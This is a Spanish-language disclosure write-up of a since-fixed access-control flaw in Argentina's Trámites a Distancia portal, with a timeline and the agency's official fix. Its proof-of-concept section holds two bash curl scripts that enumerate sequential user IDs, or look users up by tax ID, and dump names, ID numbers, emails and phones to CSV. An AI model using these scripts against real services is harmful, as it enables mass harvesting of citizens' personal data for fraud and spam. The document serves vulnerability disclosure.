Vulnerabilidades en Trámites a Distancia (TAD) permitían el acceso a datos personales de terceros

. Por .

La información provista este documento tiene com único fin lograr evitar que nuestra información personal pueda ser accedida por usuarios malintencionados. Esta falla ha sido reportada anteriormente, sin obtener respuesta o solución alguna.

El desarrollo del presente documento se ha realizado por Martín Aberastegue (@Xyborg) y reportado de forma responsable a la Dirección Nacional de Tramitación e Identificación a Distancia | Subsecretaría de Innovación Administrativa | Secretaría de Innovación Pública quienes procedieron a la solución del problema.

CRONOLOGÍA

  • 01/03/2020 – Se encuentra la vulnerabilidad
  • 23/03/2020 – Reportado de manera anónima
  • 14/05/2020 – Se reporta a Segu-Info y Access Now
  • 14/05/2020 – Se reporta a diferentes referentes de la Dirección Nacional de Tramitación e Identificación a Distancia | Subsecretaría de Innovación Administrativa | Secretaría de Innovación Pública quienes procedieron a la solución del problema.
  • 24/05/2020 – Se detecta que se ha solucionado el problema.
  • 01/06/2020 – La Dirección comunica la solución oficial de la vulnerabilidad.

RESUMEN

En el siguiente documento se intenta describir el alcance y proceso de explotación de la vulnerabilidad detectada. El nivel de detalle mostrado es con el fin de ser lo más claro posible sobre la naturaleza del error, y no así facilitar su aprovechamiento.

Se proveen ejemplos de códigos de pruebas de concepto de modo de demostrar el poco conocimiento técnico necesitado para la extracción masiva de estos datos.

OBJETIVOS

  1. Dejar en claro el problema y ubicación de los archivos causantes del mismo.
  2. Lograr que se solucione la vulnerabilidad en la plataforma y se deje de exponer información privada de los usuarios de la misma.

DESARROLLO

Este error puede ser explotado desde el sitio Trámites a Distancia, cuyo uso se vio disparado con el auge de los trámites temporarios para circular durante la cuarentena. Esto último incrementó su adopción, agrandando la base de datos disponibles para su explotación. Es decir, hoy tenemos más datos personales de residentes argentinos que teníamos hace 2 meses atrás.

La web en cuestión es: https://tramitesadistancia.gob.ar/

A la misma se puede acceder conectándose a través de la plataforma Autenticar.gob.ar, que permite el acceso federado (Identidad Federada) utilizando la modalidad “Single Sign-on” (SSO).

Los proveedores de autenticación habilitados actualmente para este fin son:

  • AFIP
  • ANSES
  • MI ARGENTINA
  • MI DNI / RENAPER
  • NIC ARGENTINA (NO RESIDENTES)
  • BORA (Parece estar fuera de servicio)

¿Es posible realizar este ataque de forma anónima?

Si, mediante la creación de una cuenta utilizando datos de terceros fácilmente asequibles.

Vulnerabilidades en Trámites a Distancia (TAD) permitían el acceso a datos personales de terceros

Para el fin de este artículo nos enfocaremos en el acceso mediante el proveedor “Mi Argentina”, pero una vez dentro de TAD se puede seguir exactamente el mismo proceso para extraer los datos de los demás usuarios. La ventaja de utilizar “Mi Argentina” es que podemos hacernos con una cuenta rápidamente con solo conocer un CUIT y tener una cuenta de email válida (puede ser descartable, se utiliza solo para verificar la cuenta luego del alta).

Para explotar este error, no es necesario utilizar nuestra propia identidad, el usuario malicioso puede crear una nueva cuenta utilizando la opción de “Mi Argentina”, dando de alta un nuevo CUIT con cualquier email de su preferencia. La única condición para que esto funcione es que ese CUIT no esté en uso actualmente en la plataforma.

“Mi Argentina” solo pide confirmación vía email para verificar la identidad y evitar altas masivas automáticas (método poco efectivo), una vez logrado esto podremos ingresar al sistema. Para realizar trámites puede que solicite avanzar con el paso de verificación de datos biométricos, pero en este caso no es necesario para poder acceder a la información del resto de los usuarios.

Esto quiere decir que estaremos, teóricamente, dentro del nivel 1 de seguridad de “Mi Argentina”.

Vulnerabilidades en Trámites a Distancia (TAD) permitían el acceso a datos personales de terceros

Niveles de Seguridad Autenticar.gob.ar
https://autenticar.gob.ar/idps.html#niveles

Seguridad y protección anti ataques contemplados por Autenticar.gob.ar
https://autenticar.gob.ar/desarrolladores.html#seguridad

El siguiente punto es el que deberían revisar en profundidad, ya que no lo están cumpliendo:

Vulnerabilidades en Trámites a Distancia (TAD) permitían el acceso a datos personales de terceros

¿Dónde obtengo un CUIL válido?

Existen decenas de sitios que publicación la información que AFIP provee de manera pública en su sitio (archivos TSV), pero en un formato más amigable para el usuario con conocimientos básicos de informática. De esta manera un atacante puede hacerse fácilmente con un número de CUIT que en el caso de personas físicas es exactamente el mismo que el CUIL.

Padrón completo de las Constancias de Inscripción en la AFIP:
http://www.afip.gov.ar/genericos/cinscripcion/archivocompleto.asp

Origen del problema

Este se encuentra en varios de los servicios consultados por el sitio para mostrar la información en pantalla, uno de ellos por ejemplo es el que es llamado al visitar la sección “Mis Datos”, este servicio devuelve la información del usuario cuando se la solicita enviando su ID.

El ID es numérico y secuencial, es decir que los primeros usuarios comienzan en 1 y los últimos registrados rondan los 2.000.000. Cuando pedimos estos datos, el diseño ideal sería que dicho servicio o API compruebe que quien solicita la información tiene permisos suficientes para acceder a la misma, pero esto en la práctica no sucede, alcanza con modificar ese número identificador para visualizar los datos de otro usuario.

https://tramitesadistancia.gob.ar/tad2-rest/persona/10001
Donde ‘10001’ es el ID del usuario solicitado.

Por otro lado, existe otro Web Service (WS) donde es posible acceder a los datos si uno conoce el CUIT de la víctima u objetivo, obteniendo gracias a este el ID de dicho usuario que puede ser utilizado en combinación con el WS anterior para extraer la información personal almacenada en la base de datos.

La URL del Web Service está compuesta de la siguiente manera:

https://tramitesadistancia.gob.ar/tad2-rest//persona/tad/cuit/200000001
Donde ‘200000001’ viene a ser el CUIT del cual pedimos información.

Así, uno puede con el primer WS barrer con la base completa con solo ir incrementando el valor del identificador en uno, proceso durante el cual obtendremos algunas respuestas de ID inexistente, pero en la gran mayoría el resultado será positivo.

Para poder realizar este tipo de consultas a los WS es necesario contar con el token y cookie de una sesión recientemente activa, la misma dura alrededor de una hora pero se podrían ejecutar trabajos en paralelo para acelerar la descarga de información.

El token podremos identificarlo en nuestro navegador como “Authorization: Bearer”, y el código que lo sigue es en realidad un JSON Web Token (JWT), donde el sistema propaga nuestra identidad al resto de los servicios, si lo decodificamos utilizando un sitio como https://jwt.io/ podremos ver nuestra información personal como nombre, apellido, email, etc.

Hasta ahí todo bien, pero luego internamente cada servicio falla en verificar si quien solicita esa información es la misma persona que la del JWT, o en su defecto alguien con los permisos suficientes como para visualizar datos de un tercero.

Para mayor información sobre el funcionamiento del token devuelto por la Plataforma de Autenticación Electrónica Central (PAEC), pueden consultar la siguiente documentación oficial:
https://autenticar.gob.ar/assets/docs/TokenCanonico.pdf

En el segundo caso, si tenemos ya una base de CUIL/CUIT, podríamos consultar este servicio para completar la misma con los datos personales faltantes.

Ejemplo de respuesta en formato JSON enviada por el Web Service:

{
    "error": false,
    "mensaje": null,
    "respuesta": {
        "apellidos":"APELLIDO",
        "codigoPais":"AR",
        "codigoTelefonoPais":"+54",
        "cuit":"20000000001",
        "email": "EMAIL@VICTIMA.COM",
        "fechaAlta": null,
        "fechaModificacion": null,
        "id": 10001,
        "nombres": "NOMBRE",
        "numeroDocumento": "00000000",
        "razonSocial": null,
        "sexo": "M",
        "telefono": "123456",
        "terminosYCondiciones": {
            "contenido": "",
            "estado": "ACTIVO",
            "fechaAlta": 1410449162000,
            "id": 9,
            "nivelAcceso": {
                "authorizationEndPoint": "https://autenticar.gob.ar/auth/realms/tad-afip/protocol/openid-connect/auth?client_id=tad&redirect_uri=https:%2F%2Ftramitesadistancia.gob.ar%2Ftramitesadistancia%2Fpaec%2FServletLogin&response_type=token&response_mode=form_post&scope=all&state=692055100728.984",
                "endSessionEndPoint": "https://autenticar.gob.ar/auth/realms/tad-afip/protocol/openid-connect/logout?client_id=tad&post_logout_redirect_uri=https:%2F%2Ftramitesadistancia.gob.ar%2Ftramitesadistancia%2Finicio-publico",
                "habilitarApoderamiento": true,
                "id": 1,
                "loginComponent": "/primerLogin",
                "nivelAcceso": 200,
                "nombre": "AFIP",
                "proveedor": "AFIP2"
            },
            "tipoDocumento": {
                "acronimoGedo": "TEYCO",
                "acronimoTAD": "TYC",
                "descripcion": "T\u00e9rminos y Condiciones",
                "documentoTipoFirma": null,
                "embebidoOpcional": null,
                "esEmbebido": false,
                "esFirmaConjunta": false,
                "fechaAlta": 1410449162000,
                "fechaModificacion": null,
                "firmaConToken": false,
                "formularioControlado": null,
                "id": 16,
                "ip": null,
                "nombre": "T\u00e9rminos y Condiciones",
                "textoLibreEnriquecido": null,
                "textoLibreLimite": null,
                "tipoProduccion": null,
                "usuarioCreacion": "GENERICO",
                "usuarioIniciador": "USUARIOTAD",
                "usuarioModificacion": null
            }
        },
        "tipoDocumento": "DU",
        "tipoPersona": "PF",
        "usuarioCreacion": null,
        "usuarioModificacion": null
    }
}

PRUEBAS DE CONCEPTO

Las siguientes pruebas de concepto (PoC) tiene como fin verificar de manera simple y rápida la potencialidad de esta vulnerabilidad, así como la simpleza de su explotación.

Extracción masiva de datos personales:

#!/bin/bash
bearerdata=""
cookiedata=""

for (( cuitcito=1914885; cuitcito<=1914900; c++ ))
do
	eljason=$(curl -s 'https://tramitesadistancia.gob.ar/tad2-rest/persona/$cuitcito' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Authorization: Bearer $bearerdata' -H 'Accept: application/json' -H 'Content-Type: application/json' -H 'Access-Control-Allow-Origin: *' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 OPR/67.0.3575.115' -H 'Sec-Fetch-Dest: empty' -H 'save-data: on' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Mode: cors' -H 'Referer: https://tramitesadistancia.gob.ar/tramitesadistancia/misdatos' -H 'Accept-Language: en-US,en;q=0.9,es-AR;q=0.8,es;q=0.7' -H 'Cookie: $cookiedata' --compressed 2> /dev/null)
	apellidos=$(echo $eljason | jq --raw-output '.respuesta.apellidos' 2> /dev/null)
	nombres=$(echo $eljason | jq --raw-output '.respuesta.nombres' 2> /dev/null)
	mailcito=$(echo $eljason | jq --raw-output '.respuesta.email' 2> /dev/null)
	numeroDocumento=$(echo $eljason | jq --raw-output '.respuesta.numeroDocumento' 2> /dev/null)
	fecha=$(date +"%d/%m/%Y,%H:%M:%S" 2> /dev/null)
	echo "$cuitcito,$apellidos,$nombres,$numeroDocumento,$mailcito,$fecha" | tee -a resultados.csv
done

Consulta de datos personales por CUIT:

Para llevar a cabo el siguiente proceso necesitamos cURL y JQ para extraer fácilmente los datos incluidos en la respuesta JSON.

https://curl.haxx.se/
https://stedolan.github.io/jq/

#!/bin/bash
bearerdata=""
cookiedata=""
echo "#                            TAD WhoIs                             #"
while true; do
	echo -n "CUIT: "
	read cuitcito
	getidbycuit=$(curl -s 'https://tramitesadistancia.gob.ar/tad2-rest//persona/tad/cuit/$cuitcito' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Authorization: Bearer $bearerdata' -H 'Accept: application/json' -H 'Content-Type: application/json' -H 'Access-Control-Allow-Origin: *' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 OPR/67.0.3575.115' -H 'Sec-Fetch-Dest: empty' -H 'save-data: on' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Mode: cors' -H 'Referer: https://tramitesadistancia.gob.ar/tramitesadistancia/?init=' -H 'Accept-Language: en-US,en;q=0.9,es-AR;q=0.8,es;q=0.7' -H 'Cookie: $cookiedata' --compressed)
	idperson=$(echo $getidbycuit | jq --raw-output '.respuesta.id' 2> /dev/null)
	eljason=$(curl -s 'https://tramitesadistancia.gob.ar/tad2-rest/persona/'$idperson'' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Authorization: Bearer '$bearerdata'' -H 'Accept: application/json' -H 'Content-Type: application/json' -H 'Access-Control-Allow-Origin: *' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 OPR/67.0.3575.115' -H 'Sec-Fetch-Dest: empty' -H 'save-data: on' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Mode: cors' -H 'Referer: https://tramitesadistancia.gob.ar/tramitesadistancia/misdatos' -H 'Accept-Language: en-US,en;q=0.9,es-AR;q=0.8,es;q=0.7' -H 'Cookie: '$cookiedata'' --compressed 2> /dev/null)
	apellidos=$(echo $eljason | jq --raw-output '.respuesta.apellidos' 2> /dev/null)
	nombres=$(echo $eljason | jq --raw-output '.respuesta.nombres' 2> /dev/null)
	mailcito=$(echo $eljason | jq --raw-output '.respuesta.email' 2> /dev/null)
	telefono=$(echo $eljason | jq --raw-output '.respuesta.telefono' 2> /dev/null)
	numeroDocumento=$(echo $eljason | jq --raw-output '.respuesta.numeroDocumento' 2> /dev/null)
	numcuit=$(echo $eljason | jq --raw-output '.respuesta.cuit' 2> /dev/null)
	altavia=$(echo $eljason | jq --raw-output '.respuesta.terminosYCondiciones.nivelAcceso.nombre' 2> /dev/null)
	fecha=$(date +"%d/%m/%Y,%H:%M:%S" 2> /dev/null)
	echo "$idperson,$apellidos,$nombres,$numcuit,$numeroDocumento,$mailcito,$telefono,$altavia" | tee -a resultado.csv
done

Usos potenciales de esta información

El destino y uso de la misma es de lo más variado y queda a la imaginación de cada atacante, pero va desde alimentación de servicios de enriquecimiento de bases de datos personales, uso en estafas (ejemplo: atacar listado de usuarios con cuenta generada vía ANSES ofreciendo acceso al IFE), remarketing en plataformas donde se nos permita subir números telefónicos o direcciones de correo para enfocar nuestros anuncios, SPAM vía SMS/Email, etc.

En las últimas semanas han sido publicadas filtraciones de padrones pertenecientes a ciertos distritos y provincias, y en el caso de PJ Bonaerense el padrón de 2017 con el listado completo de sus afiliados en la provincia de Buenos Aires. Si alguien combinara esa información (DNI -> CUIL -> email + teléfono), podría ser mucho más fácil para dirigir campañas de pauta online o comunicaciones masivas teniendo en cuenta esa preferencia política. Así sea incluyendo o excluyendo esas personas de su audiencia objetivo, logrando así hacer más rentable y efectiva su campaña.

Como verán, su finalidad puede ser tan variado como sea de creativo el atacante o quien adquiera estos datos.

RESPONSABILIDAD

De acuerdo a los “Términos y Condiciones de Uso de la Plataforma de Autenticación Electrónica Central – PAEC”, la responsabilidad sobre los errores y fallas en el sistema son limitadas, cito a continuación la sección que hace referencia a esto:

SOLUCIÓN Y RESPUESTA OFICIAL

La plataforma de TRÁMITES A DISTANCIA (TAD) es considerada la sede virtual del ciudadano ante la Administración Pública Nacional, donde puede realizar sus trámites de manera virtual desde su PC, gestionar y llevar el seguimiento de los mismos sin tener que acercarse a una mesa de entrada. TAD hoy pone a disposición de la sociedad más de 2000 trámites para interactuar con los Ministerios y Organismos del Estado Nacional.

 Cada trámite requiere la identificación del ciudadano que tramita, ya sea en nombre propio o en representación de un tercero, que se resuelve con diversos proveedores de identidad integrados en la herramienta AUTENTICAR, que concentra la comunicación con: AFIP (clave fiscal en todos sus niveles), RENAPER (DNI y número de trámite), ANSES (clave de seguridad social en todos sus niveles) y MI ARGENTINA (usuario y contraseña).

 En el primer ingreso a TAD, el ciudadano se registra aceptando los términos y condiciones de uso de la plataforma y brinda algunos datos básicos de contacto como ser nombre, apellido, mail, teléfono, país, entre otros. La consulta de estos datos básicos de contacto se brinda por pantalla al usuario dueño de los mismos.  TAD dispone de un servicio interno que retorna esta información, el cual sólo puede ser accedido por un usuario autenticado. Se procedió a restringir el acceso a este servicio para que los datos de contacto sólo sean retornados al propio usuario dueño de los mismos.

Técnicamente, TAD cuenta con un servicio REST expuesto únicamente para usuarios autenticados, que recupera los datos de contacto de un usuario registrado en la plataforma:

https://tramitesadistancia.gob.ar/tad2-rest//persona/{idPersona}

, donde idPersona es el ID único del modelo persona en TAD, dato numérico y secuencial.

La forma de conocer el ID asignado a una determinada persona, se logra a través del servicio:

https://tramitesadistancia.gob.ar/tad2-rest//persona/tad/cuit/{cuit}

, el cual requiere recibir la CUIT de la persona en cuestión.

Ambos servicios controlan ser consumidos por un usuario autenticado. El protocolo de autenticación de TAD es OpenID Connect, por lo que en cada llamada a servicio se envía un token JWT. En particular, el JWT de TAD contiene información del usuario autenticado, como es su CUIT.

Para incorporar al control la limitación de retorno de los datos de contacto solo cuando el requirente es el  propio dueño, se valida que el usuario autenticado que consume los datos de un idPersona (que en la llamada lleva un token JWT) tenga el mismo CUIT que el idPersona que está solicitando. Esto se realiza validando el token de autenticación de Autenticar que contiene el cuit de la persona autenticada.

Photo of author

Martin Aberastegue

Especialista en marketing y tecnología por profesión. Actualmente trabajo como Lead SEO & SEA Manager en una startup en Berlin.